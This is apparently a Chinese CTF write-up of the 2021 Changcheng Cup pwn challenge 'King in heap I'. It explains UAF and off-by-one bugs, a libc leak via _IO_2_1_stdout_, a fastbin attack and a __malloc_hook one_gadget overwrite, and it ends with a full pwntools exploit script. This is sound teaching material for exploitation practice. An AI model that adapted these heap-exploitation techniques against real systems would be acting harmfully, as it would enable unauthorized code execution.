​ 2021 长城杯 King in heap I

漏洞点和知识点

  • UAF
  • offbyone
  • IO_2_1_stdout 泄露libc
  • fastbin attack,修改fastbin链表
  • 修改malloc_hook,但是需要用到realloc来调整栈帧,满足onegadget条件
╰─➤  checksec pwn
[*] '/ctf/tools/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

不能修改got表了,因为开了Full RELRO。

程序只有三个功能,add、free、edit,没有show,所以我们不能获取libc,那我们就利用_IO_2_1_stdout_攻击,泄露libc。

输入666会打印printf后三字节,可以绕过PIE:

free函数存在uaf:

edit函数中存在off_by_one:

思路

  • 构造三个堆块。chunk0大小0x18,chunk1大小0x80,chunk2大小0x10.
    add(0,0x18) # 利用他的offbyone修改下一个堆块的size位,伪造size
    add(1,0x80) # 在这伪造0x70大小的fastbin
    add(2,0x10) # 避免释放堆块1时,1与topchunk合并
  • 利用0修改1size为0x71,并且在1中伪造一个chunk头,避免fastbin检测出错(fastbin会检测后一个相邻的chunk头如果不伪造,那么下一个chunk头数据都是0,这会报错退出),然后将1释放,会进入fastbin:
    # 伪造1的size
    payload = b"a"*0x18 + b"\x71"
    edit(0,payload)
    # 伪造chunk头
    payload = b"a"*0x60
    payload += p64(0x70) + p64(0x21)
    edit(1,payload)
    free(1)
  • 将chunk1的size改回来,再将他释放,会进入unsortedbin,此时fastbin的fd就被修改为main_arena + 0x68了,我们可以利用修改它的后面三字节,使其指向_IO_2_1_stdout_:
    payload = b"a"*0x18 + b"\x91"
    edit(0,payload)
    free(1)
  • 输入666,获取printf的后三字节,发现printf其实与_IO_2_1_stdout_相差是一个固定的偏移(gdb中看),在_IO_2_1_stdout_周围伪造chunk,从而计算出我们实际需要覆盖main_arena的后三字节为什么值:
    sla(b">> \n",b"666")
    print_addr3 = int(io.recv(8),16)
    print("print last 3 bytes=====>"+hex(print_addr3))
    stdout = print_addr3 + 0x36fe10 # 这就是stdout真正的后三字节,用来绕过PIE
    stdout_chunk = stdout - 0x43 # 这里有一个0x7f的size的fake——chunk

这个命令可以找到对应地址周围的0x7f大小的chunk,这里我输入的地址就是_IO_2_1_stdout_:

  • 利用uaf修改chunk1的fd的后三字节,使其指向_IO_2_1_stdout_的那个fake_chunk:
edit(1,p8(stdout_chunk & 0xff) + p16(stdout_chunk>>8))
  • 此时我们应该先修改chunk1大小为0x7f,然后才能申请0x7f的fast_bin,不然会报错,然后可以拿出fake_chunk:
    payload = b"a"*0x18 + b"\x71"
    edit(0,payload)

    add(3,0x60)
    add(4,0x60) # stdout_fake_chunk
  • 接着编辑chunk4(也就是fake_chunk),然后就能泄露libc了:
    但是我们还需要计算真正的libc_base:
    payload = b"a"*0x33 + p64(0xfbad1800) + p64(0)*3 + b"\x00" # 这里就是攻击IO
    edit(4,payload)
    libc_addr = get_addr()
    print("libc -----> "+hex(libc_addr))
    libc_base = libc_addr - 0x3c5600
    
    one = libc_base + 0x4527a
    

我们看到他返回的值是这个:

那我们用vmmap找到他与真正libc基址(这只是我们本地机子上的)之间的偏移,减去这个偏移,就能得到远程机子真正的libc_base:

  • 接着再次利用伪造fastbin链表:释放chunk1进入fastbin,将他的fd指向_malloc_hook周围的malloc_fake_chunk,然后将这个fake chunk拿出来 :
    free(1)
    edit(1,p64(libc_base + libc.sym["__malloc_hook"] - 0x23))

    add(5,0x60)
    add(6,0x60) # malloc_hook
    edit(6,b"a"*0xb + p64(one) + p64(libc_base + libc.sym["realloc"] + 8))

# 获取shell
    add(7,0x10)

exp

from pwn import *
from pwn import p64,u64,p32,u32,p8

context.terminal = ["tmux","sp","-h"]
context(log_level="debug",os="linux",arch="amd64")

io = process("./pwn")

elf=ELF("./pwn")
libc=ELF('./libc.so.6')

sla = lambda x,y : io.sendlineafter(x,y)
sa  = lambda x,y : io.sendafter(x,y)
sl  = lambda x   : io.sendline(x)
sd  = lambda x   : io.send(x)
gd  = lambda     : gdb.attach(io)
inter = lambda   : io.interactive()


def get_addr() :
    return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def add(idx,size):
    sla(b">> ",b"1")
    sla(b"input index:",str(idx))
    sla(b"input size:",str(size))

def free(idx):
    sla(b">> ",b"2")
    sla(b"input index:",str(idx))

def edit(idx,content):
    sla(b">> ",b"3")
    sla(b"input index:",str(idx))
    sla(b"input context:",content)

def pwn():
    add(0,0x18)
    add(1,0x80)
    add(2,0x10)

    payload = b"a"*0x18 + b"\x71"
    edit(0,payload)
    payload = b"a"*0x60
    payload += p64(0x70) + p64(0x21)
    edit(1,payload)
    free(1)

    payload = b"a"*0x18 + b"\x91"
    edit(0,payload)
    free(1)

    sla(b">> \n",b"666")
    print_addr3 = int(io.recv(8),16)
    print("print last 3 bytes=====>"+hex(print_addr3))
    stdout = print_addr3 + 0x36fe10
    stdout_chunk = stdout - 0x43

    edit(1,p8(stdout_chunk & 0xff) + p16(stdout_chunk>>8))

    payload = b"a"*0x18 + b"\x71"
    edit(0,payload)

    add(3,0x60)
    add(4,0x60) # stdout_chunk
    payload = b"a"*0x33 + p64(0xfbad1800) + p64(0)*3 + b"\x00"
    edit(4,payload)
    libc_addr = get_addr()
    print("libc -----> "+hex(libc_addr))
    libc_base = libc_addr - 0x3c5600

    one = libc_base + 0x4527a

    free(1)
    edit(1,p64(libc_base + libc.sym["__malloc_hook"] - 0x23))

    add(5,0x60)
    add(6,0x60) # malloc_hook
    edit(6,b"a"*0xb + p64(one) + p64(libc_base + libc.sym["realloc"] + 8))

    add(7,0x10)

    inter()

pwn()
posted @ 2024-03-29 23:26  _Ya0  阅读(33)  评论(0)    收藏  举报